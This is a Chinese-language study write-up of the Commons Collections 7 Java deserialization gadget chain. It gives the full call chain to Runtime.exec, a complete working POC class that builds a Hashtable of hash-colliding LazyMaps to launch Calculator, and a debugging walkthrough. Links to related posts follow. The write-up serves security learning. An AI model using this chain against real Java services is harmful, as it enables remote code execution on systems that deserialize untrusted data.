CommonsCollections7

1、前置知识

Hashtable

Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中。它和HashMap类很相似,但是它支持同步,像HashMap一样,Hashtable在哈希表中存储键/值对。当使用一个哈希表,要指定用作键的对象,以及要链接到该键的值。然后,该键经过哈希处理,所得到的散列码被用作存储在该表中值的索引。

//默认没有参数的构造方,新建为11容量的Hashtable
public Hashtable() {
this(11, 0.75f);
}
//也可以指定容量
public Hashtable(int initialCapacity) {
this(initialCapacity, 0.75f);
}
//将指定 key 映射到此哈希表中的指定 value。
public void put(Object key, Object value)
//
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)

2、POC利用

2.1、利用链

/*
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/

2.2、POC

2.2.1、漏洞复现

package com.akkacloud;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class CommonsCollection7 {
public static void main(String[] args) throws Exception {
// Reusing transformer chain and LazyMap gadgets from previous payloads final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open /System/Applications/Calculator.app"})
}; Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); //使用冲突哈希创建两个Lazymap,以便在readObject期间强制成功进入for循环调用reconstitutionPut
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy"); // serialize(hashtable);
unserialize();
}
public static void serialize(Object obj ) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}

2.2.2、POC分析

由于跟cc6很相似,不再重复说明,直接看两者不同的地方.

主要是hashtable的add方法把Lazymap加入其中,但是为什么要put两次呢,就是存两个lazyMap2到hashtable中呢?

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap(); //使用冲突哈希创建两个Lazymap,以便在readObject期间强制进行元素比较
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers); // Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

我们来看Hashtable的readObject方法。发现循环调用调用reconstitutionPut方法,elements就是我们传入Hashtable的元素个数,

先看传入的第一个元素既lazymap1,reconstitutionPut方法的参数table就是一个长度为5的空Entry<>[],key是Lazymap1,value为1,就是我们第一个put进去的元素。跟进reconstitutionPut

我们的漏洞点在for循环里面,但是第一次我们的tab为空,根本进不去,但是在后面会用我们传入的key和value新创建一个Entry<>,并且赋值给tab[index],这就是我们为什么要put两个lazymap到Hashtable里,用于进入reconstitutionPut的for循环去触发我们的漏洞点equal方法。

至于最后的lazyMap2.remove("yy"),就是因为我们我们真正在LazyMap中要确保没有键值对关系,才能调用transform方法,跟cc6的一样的理由,不懂可以仔细看看cc6

2.2.3、POC调试

在Hashtable的readObject方法处打断点,第一遍进入reconstitutionPut

第一遍进入的主要目的是为了给tab赋值,以便第二次可以进入循环的equal方法

第二遍成功进入for循环,此时的key就是我们设置空的lazymap

跟进AbstractMapDecorator的equal方法,继续进入equal方法

AbstractMap的equal方法,获取我们传入的lazymap的key和value,key为lazymap,value就是1,我们一开始构造的空lazymap,进入get方法,m就是我们传入的lazymap,所以是进入到lazymap的get方法,继续跟进

进入lazymap后,就会反射把lazymap中ChainedTransformer修改为我们的恶意类。此处就是为什么要去除yy键值对的关系(lazyMap2.remove("yy");),去除后才能进入if里面执行transform方法。

继续跟进ChainedTransformer的transform方法,循环结束就会RCE

2.3、思维导图

CommonsCollection7反序列化链学习的更多相关文章

  1. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  2. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  3. CommonsCollection4反序列化链学习

    CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...

  4. URLDNS反序列化链学习

    URLDNS URLDNS跟CommonsCollections比起来真是眉清目秀,该链主要用于验证漏洞,并不能执行命令,优点就是不依赖任何包. 1.利用链 * Gadget Chain: * Has ...

  5. GNU工具链学习笔记

    GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...

  6. 安洵杯iamthinking(tp6反序列化链)

    安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...

  7. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  8. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  9. JS 原型链学习总结

    废话篇: 在js的学习过程中有一大难点就是原型链.学习的时候一直对这一内容不是十分的明白.纠结的我简直难受.,幸好总算给他弄通了,哇咔咔,总算可以不用在睡梦中还想着他了. 正文篇: 要了解原型链我们首 ...

随机推荐

  1. 初探 Elasticsearch,学习笔记第一讲

          1. ES 基础   1.1 ES定义   ES=elaticsearch简写, Elasticsearch是一个开源的高扩展的分布式全文检索引擎,它可以近乎实时的存储.检索数据:本身扩展 ...

  2. javascript 实现富文本框选中对齐

    需求: 一个可编辑(contenteditable=true)的div,对齐选中内容,左.中,右 ,其实质是:对选中的末梢节点,找到块属性的父元素,设置text-algin:center: MDN:t ...

  3. Fedora 阿里云源

    镜像下载.域名解析.时间同步请点击 阿里巴巴开源镜像站 简介 Fedora 是一个 Linux 发行版,是一款由全球社区爱好者构建的面向日常应用的快速.稳定.强大的操作系统.它允许任何人自由地使用.修 ...

  4. 使用C#语言,如何实现EPLAN二次开发 Api插件及菜单展示

    上期我们谈谈了谈EPLAN电气制图二次开发,制图软件EPLAN的安装和破解,今天我们来说说使用C#语言,如何实现Api插件及菜单,今天它来了!!! 关于项目环境的搭建请参考:https://blog. ...

  5. 西门子S210驱动器接线

    参考:SINAMICS S210 操作说明 1.系统概述 P28 节2.2 单相版驱动器的系统组件和附件 2.电源接线 P56 节3.2 单相 230 V 版驱动器的连接示例 单相版驱动器在 IT 电 ...

  6. 【freertos】002-posix模拟器设计与cortex m3异常处理

    目录 前言 posix 标准接口层设计 模拟器的系统心跳 模拟器的task底层实质 模拟器的任务切换原理 cortex M3/M4异常处理 双堆栈指针 双操作模式 栈帧 EXC_RETURN 前言 如 ...

  7. 【vue】中英文切换(使用 vue-i18n )

    一.准备工作 1.vue-i18n 1.仓库地址 2.兼容性:支持 Vue.js 2.x 以上版本 1-1.安装依赖vue-i18n (c)npm install vue-i18n 1-2.使用 在 ...

  8. JVM知识(一) 求你了,别再说Java对象都是在堆内存上分配空间的了!

    求你了,别再说Java对象都是在堆内存上分配空间的了! https://baijiahao.baidu.com/s?id=1661296872935371634&wfr=spider& ...

  9. java代码常用知识点

    1.Assert java断言assert是jdk1.4引入的.assert这个关键字我们称之为"断言".当这个关键字后边的条件为假的时候,程序自动崩溃并抛出AssertionEr ...

  10. Dubbo SPI 和 Java SPI 区别?

    JDK SPI JDK 标准的 SPI 会一次性加载所有的扩展实现,如果有的扩展吃实话很耗时,但 也没用上,很浪费资源. 所以只希望加载某个的实现,就不现实了 DUBBO SPI 1,对 Dubbo ...